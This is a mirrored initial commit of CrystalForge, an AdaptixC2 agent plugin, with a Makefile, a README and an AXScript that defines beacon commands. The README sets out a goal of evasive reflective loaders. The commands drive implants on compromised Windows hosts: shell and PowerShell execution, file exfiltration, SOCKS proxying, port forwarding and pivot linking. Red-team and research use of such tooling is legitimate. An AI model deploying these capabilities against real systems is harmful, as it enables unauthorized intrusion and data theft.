mirror of
https://github.com/k1ng0fn0th1ng/CrystalForge
synced 2026-06-21 13:55:00 +00:00
Initial Commit
This commit is contained in:
+56
@@ -0,0 +1,56 @@
|
||||
# Build outputs
|
||||
dist/
|
||||
loader/bin/
|
||||
libtcg/
|
||||
src_beacon/objects_http/
|
||||
src_beacon/objects_smb/
|
||||
src_beacon/objects_tcp/
|
||||
src_beacon/objects_dns/
|
||||
|
||||
# Dependency and intermediate files
|
||||
*.d
|
||||
*.o
|
||||
*.obj
|
||||
*.ko
|
||||
*.elf
|
||||
*.ilk
|
||||
*.map
|
||||
*.exp
|
||||
*.gch
|
||||
*.pch
|
||||
*.lib
|
||||
*.a
|
||||
*.la
|
||||
*.lo
|
||||
*.dll
|
||||
*.so
|
||||
*.so.*
|
||||
*.dylib
|
||||
*.exe
|
||||
*.out
|
||||
*.app
|
||||
*.i*86
|
||||
*.x86_64
|
||||
*.hex
|
||||
*.dSYM/
|
||||
*.su
|
||||
*.idb
|
||||
*.pdb
|
||||
*.cmd
|
||||
*.mod.c
|
||||
*.mod.o
|
||||
|
||||
# Kernel / module leftovers
|
||||
.tmp_versions/
|
||||
modules.order
|
||||
Module.symvers
|
||||
Mkfile.old
|
||||
dkms.conf
|
||||
|
||||
# IDE / editor
|
||||
.vscode/
|
||||
*.user
|
||||
|
||||
# Common OS noise
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 k1ng0fn0th1ng
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,94 @@
|
||||
DIST_DIR := dist
|
||||
CRYSTAL_DIR := $(DIST_DIR)/crystal_palace
|
||||
CRYSTAL_LINK := $(CRYSTAL_DIR)/link
|
||||
PLUGIN_OUT := $(DIST_DIR)/crystal_forge.so
|
||||
|
||||
GO_PLUGIN_SOURCES := \
|
||||
pl_main.go \
|
||||
pl_packer.go \
|
||||
pl_utils.go \
|
||||
pl_sideloading.go
|
||||
|
||||
DIST_ASSETS := \
|
||||
$(DIST_DIR)/config.yaml \
|
||||
$(DIST_DIR)/ax_config.axs
|
||||
|
||||
# Full clean build
|
||||
# Use this target when you want to rebuild everything from scratch.
|
||||
all: clean crystal plugin loader beacon package-loader
|
||||
|
||||
# Development build
|
||||
debug: crystal plugin loader-debug beacon package-loader-debug
|
||||
@echo " * Dev build completed (only modified files)"
|
||||
|
||||
# ==================== Crystal Palace Installation ====================
|
||||
crystal: $(CRYSTAL_LINK)
|
||||
@echo " * Crystal Palace is ready"
|
||||
|
||||
$(CRYSTAL_LINK): | $(CRYSTAL_DIR)
|
||||
@echo " * Downloading Crystal Palace..."
|
||||
@curl -fsSL "https://tradecraftgarden.org/download/cpdist-latest.tgz" -o cpdist-latest.tgz
|
||||
@tar -xzf cpdist-latest.tgz -C $(CRYSTAL_DIR) --strip-components=1
|
||||
@rm -f cpdist-latest.tgz
|
||||
@echo " done..."
|
||||
|
||||
# ==================== Build Go plugin ====================
|
||||
plugin: $(PLUGIN_OUT) $(DIST_ASSETS)
|
||||
@echo " * Go plugin is up to date"
|
||||
|
||||
$(PLUGIN_OUT): $(GO_PLUGIN_SOURCES) | $(DIST_DIR)
|
||||
@echo " * Building crystal_forge Go plugin..."
|
||||
@GOEXPERIMENT=jsonv2,greenteagc go build \
|
||||
-buildmode=plugin \
|
||||
-ldflags="-s -w" \
|
||||
-o $@ \
|
||||
$(GO_PLUGIN_SOURCES)
|
||||
@echo " done..."
|
||||
|
||||
$(DIST_DIR)/config.yaml: config.yaml | $(DIST_DIR)
|
||||
@cp -u $< $@
|
||||
|
||||
$(DIST_DIR)/ax_config.axs: ax_config.axs | $(DIST_DIR)
|
||||
@cp -u $< $@
|
||||
|
||||
# ==================== Build Beacon C++ ====================
|
||||
beacon:
|
||||
@echo " * Building beacon C++ code..."
|
||||
@$(MAKE) -C src_beacon --no-print-directory \
|
||||
HTTP_DIST_DIR=../$(DIST_DIR)/objects_http \
|
||||
SMB_DIST_DIR=../$(DIST_DIR)/objects_smb \
|
||||
TCP_DIST_DIR=../$(DIST_DIR)/objects_tcp \
|
||||
DNS_DIST_DIR=../$(DIST_DIR)/objects_dns
|
||||
@echo " done..."
|
||||
|
||||
loader:
|
||||
@echo " * Building Crystal loader..."
|
||||
@$(MAKE) -C loader --no-print-directory
|
||||
|
||||
loader-debug:
|
||||
@echo " * Building Crystal debug loader..."
|
||||
@$(MAKE) -C loader debug --no-print-directory
|
||||
|
||||
# Copy the loader tree into dist after its local build has completed so the
|
||||
# packaged specs always point at the latest generated bin/ artifacts.
|
||||
package-loader: loader | $(DIST_DIR)
|
||||
@rm -rf $(DIST_DIR)/loader
|
||||
@cp -r ./loader $(DIST_DIR)/loader
|
||||
|
||||
package-loader-debug: loader-debug | $(DIST_DIR)
|
||||
@rm -rf $(DIST_DIR)/loader
|
||||
@cp -r ./loader $(DIST_DIR)/loader
|
||||
|
||||
clean:
|
||||
@echo " * Cleaning build directories..."
|
||||
@rm -rf $(DIST_DIR)
|
||||
@$(MAKE) -C src_beacon --no-print-directory clean
|
||||
@$(MAKE) -C loader --no-print-directory clean
|
||||
|
||||
$(DIST_DIR):
|
||||
@mkdir -p $@
|
||||
|
||||
$(CRYSTAL_DIR):
|
||||
@mkdir -p $@
|
||||
|
||||
.PHONY: all debug crystal plugin loader loader-debug beacon package-loader package-loader-debug clean
|
||||
@@ -0,0 +1,125 @@
|
||||
# CrystalForge
|
||||
|
||||
CrystalForge is a custom [AdaptixC2][1] agent that modifies the default beacon agent to support a [Crystal Palace][2] based UDRL pipeline.
|
||||
|
||||
The goal is simple: make it easier to bring custom Crystal Palace loaders into AdaptixC2 payload generation.
|
||||
|
||||
## Features
|
||||
|
||||
* Custom AdaptixC2 agent plugin
|
||||
* Crystal Palace-based UDRL integration
|
||||
* DLL and shellcode payload generation
|
||||
* Custom Crystal Palace spec selection during payload generation
|
||||
* Multi-transport beacon support inherited from the Adaptix beacon
|
||||
* Default AdaptixC2 beacon feature set preserved
|
||||
|
||||
## Installation
|
||||
|
||||
Add CrystalForge to your AdaptixC2 extenders:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/k1ng0fn0th1ng/CrystalForge AdaptixC2/AdaptixServer/extenders/CrystalForge
|
||||
cd AdaptixC2/AdaptixServer
|
||||
go work use extenders/CrystalForge
|
||||
go work sync
|
||||
cd ..
|
||||
make extenders
|
||||
```
|
||||
|
||||
### Add CrystalForge to Adaptix profile
|
||||
|
||||
Open your Adaptix `profile.yaml` and add CrystalForge under the `extenders` section:
|
||||
|
||||
```yaml
|
||||
extenders:
|
||||
- "extenders/CrystalForge/config.yaml"
|
||||
```
|
||||
|
||||
Or insert it automatically from the Adaptix server directory:
|
||||
|
||||
```bash
|
||||
awk '
|
||||
/extenders:/ && !done {
|
||||
print
|
||||
print " - \"extenders/CrystalForge/config.yaml\""
|
||||
done=1
|
||||
next
|
||||
}
|
||||
{ print }
|
||||
' profile.yaml > tmp && mv tmp profile.yaml
|
||||
```
|
||||
|
||||
### Register CrystalForge in Extension-Kit
|
||||
|
||||
If you use the Adaptix [Extension-Kit][3], register CrystalForge as a supported agent:
|
||||
|
||||
```bash
|
||||
./add_agent.sh CrystalForge
|
||||
```
|
||||
|
||||
Then reload the Extension-Kit AXScript from the Adaptix client.
|
||||
|
||||
## Usage
|
||||
|
||||
When generating a CrystalForge payload from Adaptix, select the desired output format:
|
||||
|
||||
* DLL
|
||||
* Shellcode
|
||||
|
||||
DLL output returns the default Adaptix DLL.
|
||||
|
||||
Shellcode output uses Crystal Palace to process the intermediate DLL through the selected `.spec` file.
|
||||
|
||||
### Bring your Crystal Palace UDRL
|
||||
|
||||
The UI allows you to specify a Crystal Palace `.spec` file. If no custom spec is provided, the default loader spec is used.
|
||||
|
||||
The loader referenced by the spec must already be compiled. CrystalForge links the intermediate DLL with Crystal Palace, but it does not build arbitrary external loader projects automatically.
|
||||
|
||||
## Design Goals
|
||||
|
||||
* Provide custom UDRL to AdaptixC2 to increase evasion
|
||||
* Provide an easy way to integrate Crystal Palace loaders with AdaptixC2
|
||||
* Make Crystal Palace easier to use from a public C2 workflow
|
||||
* Define a flexible loader code to implement any technique easily
|
||||
* Preserve the Adaptix beacon workflow where possible
|
||||
* Provide a flexible base for experimenting with custom loader techniques
|
||||
|
||||
## Limitations
|
||||
|
||||
* EXE and service executable outputs are not implemented yet.
|
||||
* Dynamically resolved APIs are not hooked; only functions resolved via the IAT are affected.
|
||||
* Crystal Palace loader components must be built before they are referenced by a spec file.
|
||||
|
||||
## Roadmap
|
||||
|
||||
* Add EXE output
|
||||
* Add service executable output
|
||||
* Expand API hooking coverage inside the Adaptix beacon path
|
||||
|
||||
## References & Credits
|
||||
|
||||
* [AdaptixC2][1] - original beacon and extender model
|
||||
* [Crystal Palace][2] - core framework
|
||||
* Rasta Mouse - [Crystal-Kit][4], [LibGate][5], [CRTL][6] research inspiration
|
||||
* [Draugr][7] - stack spoofing
|
||||
|
||||
## Disclaimer
|
||||
|
||||
This project is intended for security research, development, and educational purposes in authorized environments only.
|
||||
|
||||
Unauthorized use against systems you do not own or do not have explicit permission to test is illegal.
|
||||
|
||||
## License
|
||||
|
||||
This project is licensed under the MIT License.
|
||||
|
||||
See the LICENSE file for more details.
|
||||
|
||||
[1]: https://github.com/Adaptix-Framework/AdaptixC2
|
||||
[2]: https://tradecraftgarden.org/crystalpalace.html
|
||||
[3]: https://github.com/Adaptix-Framework/Extension-Kit
|
||||
[4]: https://github.com/rasta-mouse/Crystal-Kit
|
||||
[5]: https://github.com/rasta-mouse/LibGate
|
||||
[6]: https://www.zeropointsecurity.co.uk/course/red-team-ops-ii
|
||||
[7]: https://github.com/NtDallas/Draugr
|
||||
+561
@@ -0,0 +1,561 @@
|
||||
/// Beacon agent
|
||||
|
||||
let exit_thread_action = menu.create_action("Terminate thread", function(value) { value.forEach(v => ax.execute_command(v, "terminate thread")) });
|
||||
let exit_process_action = menu.create_action("Terminate process", function(value) { value.forEach(v => ax.execute_command(v, "terminate process")) });
|
||||
let exit_menu = menu.create_menu("Exit");
|
||||
exit_menu.addItem(exit_thread_action)
|
||||
exit_menu.addItem(exit_process_action)
|
||||
menu.add_session_agent(exit_menu, ["beacon"])
|
||||
|
||||
|
||||
let file_browser_action = menu.create_action("File Browser", function(value) { value.forEach(v => ax.open_browser_files(v)) });
|
||||
let process_browser_action = menu.create_action("Process Browser", function(value) { value.forEach(v => ax.open_browser_process(v)) });
|
||||
let shell_browser_action = menu.create_action("Remote Shell", function(value) { value.forEach(v => ax.open_remote_shell(v)) });
|
||||
menu.add_session_browser(file_browser_action, ["beacon"])
|
||||
menu.add_session_browser(process_browser_action, ["beacon"])
|
||||
menu.add_session_browser(shell_browser_action, ["beacon"])
|
||||
|
||||
|
||||
let tunnel_access_action = menu.create_action("Create Tunnel", function(value) { ax.open_access_tunnel(value[0], true, true, true, true) });
|
||||
menu.add_session_access(tunnel_access_action, ["beacon"])
|
||||
|
||||
|
||||
let execute_action = menu.create_action("Execute", function(files_list) {
|
||||
file = files_list[0];
|
||||
if(file.type != "file"){ return; }
|
||||
|
||||
let label_bin = form.create_label("Binary:");
|
||||
let text_bin = form.create_textline(file.path + file.name);
|
||||
text_bin.setEnabled(false);
|
||||
let label_args = form.create_label("Arguments:");
|
||||
let text_args = form.create_textline();
|
||||
let output_check = form.create_check("Show command output");
|
||||
output_check.setChecked(true);
|
||||
|
||||
let layout = form.create_gridlayout();
|
||||
layout.addWidget(label_bin, 0, 0, 1, 1);
|
||||
layout.addWidget(text_bin, 0, 1, 1, 1);
|
||||
layout.addWidget(label_args, 1, 0, 1, 1);
|
||||
layout.addWidget(text_args, 1, 1, 1, 1);
|
||||
layout.addWidget(output_check, 2, 1, 1, 1);
|
||||
|
||||
let dialog = form.create_dialog("Execute binary");
|
||||
dialog.setSize(600, 100);
|
||||
dialog.setLayout(layout);
|
||||
if ( dialog.exec() == true )
|
||||
{
|
||||
let command = "ps run ";
|
||||
if( output_check.isChecked()) { command += "-o "; }
|
||||
command += text_bin.text() + " " + text_args.text();
|
||||
|
||||
ax.execute_command(file.agent_id, command);
|
||||
}
|
||||
});
|
||||
let download_action = menu.create_action("Download", function(files_list) {
|
||||
files_list.forEach((file) => {
|
||||
if(file.type == "file") {
|
||||
ax.execute_command(file.agent_id, "download " + file.path + file.name);
|
||||
}
|
||||
});
|
||||
});
|
||||
let remove_action = menu.create_action("Remove", function(files_list) {
|
||||
files_list.forEach(file => ax.execute_command(file.agent_id, "rm " + file.path + file.name))
|
||||
});
|
||||
menu.add_filebrowser(execute_action, ["beacon"])
|
||||
menu.add_filebrowser(download_action, ["beacon"])
|
||||
menu.add_filebrowser(remove_action, ["beacon"])
|
||||
|
||||
|
||||
|
||||
|
||||
let download_stop_action = menu.create_action("Pause", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "exfil stop " + file.file_id) ) });
|
||||
let download_start_action = menu.create_action("Resume", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "exfil start " + file.file_id) ) });
|
||||
let download_separator1 = menu.create_separator()
|
||||
let download_cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "exfil cancel " + file.file_id) ) });
|
||||
menu.add_downloads_running(download_stop_action, ["beacon"])
|
||||
menu.add_downloads_running(download_start_action, ["beacon"])
|
||||
menu.add_downloads_running(download_separator1, ["beacon"])
|
||||
menu.add_downloads_running(download_cancel_action, ["beacon"])
|
||||
|
||||
|
||||
let job_stop_action = menu.create_action("Stop job", function(tasks_list) {
|
||||
tasks_list.forEach((task) => {
|
||||
if(task.type == "JOB" && task.state == "Running") {
|
||||
ax.execute_command(task.agent_id, "jobs kill " + task.task_id);
|
||||
}
|
||||
});
|
||||
});
|
||||
menu.add_tasks_job(job_stop_action, ["beacon"])
|
||||
|
||||
|
||||
var event_disks_action = function(id) {
|
||||
ax.execute_browser(id, "disks");
|
||||
}
|
||||
event.on_filebrowser_disks(event_disks_action, ["beacon"]);
|
||||
|
||||
var event_files_action = function(id, path) {
|
||||
ax.execute_browser(id, "ls " + path);
|
||||
}
|
||||
event.on_filebrowser_list(event_files_action, ["beacon"]);
|
||||
|
||||
var event_upload_action = function(id, path, filepath) {
|
||||
let filename = ax.file_basename(filepath);
|
||||
ax.execute_browser(id, "upload " + filepath + " " + path + filename);
|
||||
}
|
||||
event.on_filebrowser_upload(event_upload_action, ["beacon"]);
|
||||
|
||||
var event_process_action = function(id) {
|
||||
ax.execute_browser(id, "ps list");
|
||||
}
|
||||
event.on_processbrowser_list(event_process_action, ["beacon"]);
|
||||
|
||||
|
||||
function RegisterCommands(listenerType)
|
||||
{
|
||||
let cmd_cat = ax.create_command("cat", "Read first 2048 bytes of the specified file", "cat C:\\file.exe", "Task: read file");
|
||||
cmd_cat.addArgString("path", true);
|
||||
|
||||
let cmd_cd = ax.create_command("cd", "Change current working directory", "cd C:\\Windows", "Task: change working directory");
|
||||
cmd_cd.addArgString("path", true);
|
||||
|
||||
let cmd_cp = ax.create_command("cp", "Copy file", "cp src.txt dst.txt", "Task: copy file");
|
||||
cmd_cp.addArgString("src", true);
|
||||
cmd_cp.addArgString("dst", true);
|
||||
|
||||
let cmd_disks = ax.create_command("disks", "Lists mounted drives on current system", "disks", "Task: show mounted disks");
|
||||
|
||||
let cmd_download = ax.create_command("download", "Download a file", "download C:\\Temp\\file.txt", "Task: download file");
|
||||
cmd_download.addArgString("file", true);
|
||||
|
||||
let _cmd_execute_bof = ax.create_command("bof", "Execute Beacon Object File", "execute bof /home/user/whoami.o", "Task: execute BOF");
|
||||
_cmd_execute_bof.addArgBool("-a", "Async mode");
|
||||
_cmd_execute_bof.addArgFile("bof", true, "Path to object file");
|
||||
_cmd_execute_bof.addArgString("param_data", false);
|
||||
let cmd_execute = ax.create_command("execute", "Execute [bof] in the current process's memory");
|
||||
cmd_execute.addSubCommands([_cmd_execute_bof])
|
||||
|
||||
let _cmd_exfil_cancel = ax.create_command("cancel", "Cancels a download", "exfil cancel 1a2b3c4d");
|
||||
_cmd_exfil_cancel.addArgString("file_id", true);
|
||||
let _cmd_exfil_start = ax.create_command("start", "Resumes a download that's has been stoped", "exfil start 1a2b3c4d");
|
||||
_cmd_exfil_start.addArgString("file_id", true);
|
||||
let _cmd_exfil_stop = ax.create_command("stop", "Stops a download that's in-progress", "exfil stop 1a2b3c4d");
|
||||
_cmd_exfil_stop.addArgString("file_id", true);
|
||||
let cmd_exfil = ax.create_command("exfil", "Manage current downloads");
|
||||
cmd_exfil.addSubCommands([_cmd_exfil_cancel, _cmd_exfil_start, _cmd_exfil_stop])
|
||||
|
||||
let cmd_getuid = ax.create_command("getuid", "Prints the User ID associated with the current token", "getuid", "Task: get username of current token");
|
||||
|
||||
let _cmd_job_list = ax.create_command("list", "List of jobs", "jobs list", "Task: show jobs");
|
||||
let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "jobs kill 1a2b3c4d", "Task: kill job");
|
||||
_cmd_job_kill.addArgString("task_id", true);
|
||||
let cmd_job = ax.create_command("jobs", "Long-running tasks manager");
|
||||
cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]);
|
||||
|
||||
let _cmd_link_smb = ax.create_command("smb", "Connect to an SMB agent and re-establish control of it", "link smb 192.168.1.2 pipe_a1b2", "Task: Connect to an SMB agent");
|
||||
_cmd_link_smb.addArgString("target", true);
|
||||
_cmd_link_smb.addArgString("pipename", true);
|
||||
let _cmd_link_tcp = ax.create_command("tcp", "Connect to an TCP agent and re-establish control of it", "link tcp 192.168.1.2 8888", "Task: Connect to an TCP agent");
|
||||
_cmd_link_tcp.addArgString("target", true);
|
||||
_cmd_link_tcp.addArgInt("port", true);
|
||||
let cmd_link = ax.create_command("link", "Connect to an pivot agents");
|
||||
cmd_link.addSubCommands([_cmd_link_smb, _cmd_link_tcp]);
|
||||
|
||||
let cmd_ls = ax.create_command("ls", "List contents of a directory or details of a file", "ls C:\\Windows", "Task: list files");
|
||||
cmd_ls.addArgString("path", "", ".");
|
||||
|
||||
let _cmd_lportfwd_start = ax.create_command("start", "Start local port forwarding from server via agent", "lportfwd start 127.0.0.1 8080 192.168.1.1 8080");
|
||||
_cmd_lportfwd_start.addArgString("lhost", "Listening interface address on server", "0.0.0.0");
|
||||
_cmd_lportfwd_start.addArgInt("lport", true, "Listen port on server");
|
||||
_cmd_lportfwd_start.addArgString("fwdhost", true, "Remote forwarding address");
|
||||
_cmd_lportfwd_start.addArgInt("fwdport", true, "Remote forwarding port");
|
||||
let _cmd_lportfwd_stop = ax.create_command("stop", "Stop local port forwarding", "lportfwd stop 8080");
|
||||
_cmd_lportfwd_stop.addArgInt("lport", true);
|
||||
let cmd_lportfwd = ax.create_command("lportfwd", "Managing local port forwarding");
|
||||
cmd_lportfwd.addSubCommands([_cmd_lportfwd_start, _cmd_lportfwd_stop]);
|
||||
|
||||
let cmd_mv = ax.create_command("mv", "Move file", "mv src.txt dst.txt", "Task: move file");
|
||||
cmd_mv.addArgString("src", true);
|
||||
cmd_mv.addArgString("dst", true);
|
||||
|
||||
let cmd_mkdir = ax.create_command("mkdir", "Make a directory", "mkdir C:\\Temp", "Task: make directory");
|
||||
cmd_mkdir.addArgString("path", true);
|
||||
|
||||
let _cmd_profile_chunksize = ax.create_command("download.chunksize", "Change the exfiltrate data size for download request (default 128000)", "profile download.chunksize 512000", "Task: set download chunk size");
|
||||
_cmd_profile_chunksize.addArgInt("size", true);
|
||||
let _cmd_profile_killdate = ax.create_command("killdate", "Set the date and time for the beacon to stop working", "profile killdate 28.02.2030 12:34:00", "Task: set beacon's killdate");
|
||||
_cmd_profile_killdate.addArgString("datetime", true, "Datetime 'DD.MM.YYYY hh:mm:ss' in GMT format. Set 0 to disable the option");
|
||||
let _cmd_profile_workingtime = ax.create_command("workingtime", "Set the start and end time of the beacon activity", "profile workingtime 8:00-17:30", "Task: set beacon's workingtime");
|
||||
_cmd_profile_workingtime.addArgString("time", true, "Time interval in the format 'HH:mm(start)-HH:mm(end)'. Set 0 to disable the option");
|
||||
let cmd_profile = ax.create_command("profile", "Configure the payloads profile for current session");
|
||||
cmd_profile.addSubCommands([_cmd_profile_chunksize, _cmd_profile_killdate, _cmd_profile_workingtime]);
|
||||
|
||||
let _cmd_ps_list = ax.create_command("list", "Show process list", "ps list", "Task: show process list");
|
||||
let _cmd_ps_kill = ax.create_command("kill", "Kill a process with a given PID", "ps kill 7865", "Task: kill process");
|
||||
_cmd_ps_kill.addArgInt("pid", true);
|
||||
let _cmd_ps_run = ax.create_command("run", "Run a program", "run -s cmd.exe /c whoami /all", "Task: create new process");
|
||||
_cmd_ps_run.addArgBool("-s", "Suspend process");
|
||||
_cmd_ps_run.addArgBool("-o", "Output to console");
|
||||
_cmd_ps_run.addArgBool("-i", "Use impersonation");
|
||||
_cmd_ps_run.addArgString("args", true);
|
||||
let cmd_ps = ax.create_command("ps", "Process manager");
|
||||
cmd_ps.addSubCommands([_cmd_ps_list, _cmd_ps_kill, _cmd_ps_run]);
|
||||
|
||||
let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory");
|
||||
|
||||
let cmd_rev2self = ax.create_command("rev2self", "Revert to your original access token", "rev2self", "Task: revert token");
|
||||
|
||||
let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm C:\\Temp\\file.txt", "Task: remove file or directory");
|
||||
cmd_rm.addArgString("path", true);
|
||||
|
||||
let _cmd_rportfwd_start = ax.create_command("start", "Start remote port forwarding from agent via server", "rportfwd start 8080 10.10.10.14 8080");
|
||||
_cmd_rportfwd_start.addArgInt("lport", true, "Listen port on agent");
|
||||
_cmd_rportfwd_start.addArgString("fwdhost", true, "Remote forwarding address");
|
||||
_cmd_rportfwd_start.addArgInt("fwdport", true, "Remote forwarding port");
|
||||
let _cmd_rportfwd_stop = ax.create_command("stop", "Stop remote port forwarding", "rportfwd stop 8080");
|
||||
_cmd_rportfwd_stop.addArgInt("lport", true);
|
||||
let cmd_rportfwd = ax.create_command("rportfwd", "Managing remote port forwarding");
|
||||
cmd_rportfwd.addSubCommands([_cmd_rportfwd_start, _cmd_rportfwd_stop]);
|
||||
|
||||
let cmd_sleep = ax.create_command("sleep", "Sets sleep time", "sleep 30m5s 10");
|
||||
cmd_sleep.addArgString("sleep", true, "Time in '%h%m%s' format or number of seconds");
|
||||
cmd_sleep.addArgInt("jitter", false, "Max random amount of time in % added to sleep");
|
||||
|
||||
let _cmd_burst_show = ax.create_command("show", "Show burst config", "burst show");
|
||||
let _cmd_burst_set = ax.create_command("set", "Set burst config", "burst set 1 50 10");
|
||||
_cmd_burst_set.addArgInt("enabled", true, "1=on, 0=off");
|
||||
_cmd_burst_set.addArgInt("sleep", false, "Sleep in ms (default 50)");
|
||||
_cmd_burst_set.addArgInt("jitter", false, "Jitter % 0-90 (default 0)");
|
||||
let cmd_burst = ax.create_command("burst", "DNS burst mode");
|
||||
cmd_burst.addSubCommands([_cmd_burst_show, _cmd_burst_set]);
|
||||
|
||||
let _cmd_socks_start = ax.create_command("start", "Start a SOCKS(4a/5) proxy server and listen on a specified port", "socks start 1080 -auth user pass");
|
||||
_cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0");
|
||||
_cmd_socks_start.addArgInt("port", true, "Listen port");
|
||||
_cmd_socks_start.addArgBool("-socks4", "Use SOCKS4 proxy (Default SOCKS5)");
|
||||
_cmd_socks_start.addArgBool("-auth", "Enable User/Password authentication for SOCKS5");
|
||||
_cmd_socks_start.addArgString("username", false, "Username for SOCKS5 proxy");
|
||||
_cmd_socks_start.addArgString("password", false, "Password for SOCKS5 proxy");
|
||||
let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080");
|
||||
_cmd_socks_stop.addArgInt("port", true);
|
||||
let cmd_socks = ax.create_command("socks", "Managing socks tunnels");
|
||||
cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]);
|
||||
|
||||
let _cmd_terminate_thread = ax.create_command("thread", "Terminate the main beacon thread (without terminating the process)", "terminate thread", "Task: terminate agent thread");
|
||||
let _cmd_terminate_process = ax.create_command("process", "Terminate the beacon process", "terminate process", "Task: terminate agent process");
|
||||
let cmd_terminate = ax.create_command("terminate", "Terminate the session");
|
||||
cmd_terminate.addSubCommands([_cmd_terminate_thread, _cmd_terminate_process]);
|
||||
|
||||
let cmd_unlink = ax.create_command("unlink", "Disconnect from an pivot agent", "unlink 1a2b3c4d", "Task: disconnect from an pivot agent");
|
||||
cmd_unlink.addArgString("id", true);
|
||||
|
||||
let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt C:\\Temp\\file.txt", "Task: upload file");
|
||||
cmd_upload.addArgFile("local_file", true);
|
||||
cmd_upload.addArgString("remote_path", false);
|
||||
|
||||
/// Aliases
|
||||
|
||||
let cmd_shell = ax.create_command("shell", "Execute command via cmd.exe", "shell whoami /all");
|
||||
cmd_shell.addArgString("cmd_params", true);
|
||||
cmd_shell.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
|
||||
let new_cmd = "ps run -o C:\\Windows\\System32\\cmd.exe /c " + parsed_json["cmd_params"];
|
||||
ax.execute_alias(id, cmdline, new_cmd);
|
||||
});
|
||||
|
||||
let cmd_powershell = ax.create_command("powershell", "Execute command via powershell.exe", "powershell ls");
|
||||
cmd_powershell.addArgString("cmd_params", true);
|
||||
cmd_powershell.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
|
||||
let new_cmd = "ps run -o C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c " + parsed_json["cmd_params"];
|
||||
ax.execute_alias(id, cmdline, new_cmd);
|
||||
});
|
||||
|
||||
let cmd_interact = ax.create_command("interact", "Set 'sleep 0'", "interact");
|
||||
cmd_interact.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
|
||||
ax.execute_alias(id, cmdline, "sleep 0");
|
||||
});
|
||||
|
||||
if(listenerType == "BeaconDNS") {
|
||||
let commands_dns = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
|
||||
cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
|
||||
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact, cmd_burst] );
|
||||
return { commands_windows: commands_dns }
|
||||
}
|
||||
else if(listenerType == "BeaconHTTP") {
|
||||
let commands_http = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
|
||||
cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd, cmd_sleep,
|
||||
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] );
|
||||
|
||||
return { commands_windows: commands_http }
|
||||
}
|
||||
else if (listenerType == "BeaconSMB" || listenerType == "BeaconTCP") {
|
||||
let commands_internal = ax.create_commands_group("beacon", [cmd_cat, cmd_cd, cmd_cp, cmd_disks, cmd_download, cmd_execute, cmd_exfil, cmd_getuid,
|
||||
cmd_job, cmd_link, cmd_ls, cmd_lportfwd, cmd_mv, cmd_mkdir, cmd_profile, cmd_ps, cmd_pwd, cmd_rev2self, cmd_rm, cmd_rportfwd,
|
||||
cmd_socks, cmd_terminate, cmd_unlink, cmd_upload, cmd_shell, cmd_powershell, cmd_interact] );
|
||||
|
||||
return { commands_windows: commands_internal }
|
||||
}
|
||||
|
||||
return ax.create_commands_group("none",[]);
|
||||
}
|
||||
|
||||
function GenerateUI(listeners_type)
|
||||
{
|
||||
let spacer1 = form.create_vspacer();
|
||||
|
||||
let labelArch = form.create_label("Arch:");
|
||||
let comboArch = form.create_combo()
|
||||
comboArch.addItems(["x64", "x86"]);
|
||||
|
||||
let labelAgentFormat = form.create_label("Format:");
|
||||
let comboAgentFormat = form.create_combo()
|
||||
comboAgentFormat.addItems(["DLL", "Shellcode"]);
|
||||
|
||||
let labelSleep = form.create_label("Sleep (Jitter %):");
|
||||
let textSleep = form.create_textline("4s");
|
||||
textSleep.setPlaceholder("1h 2m 5s")
|
||||
let spinJitter = form.create_spin();
|
||||
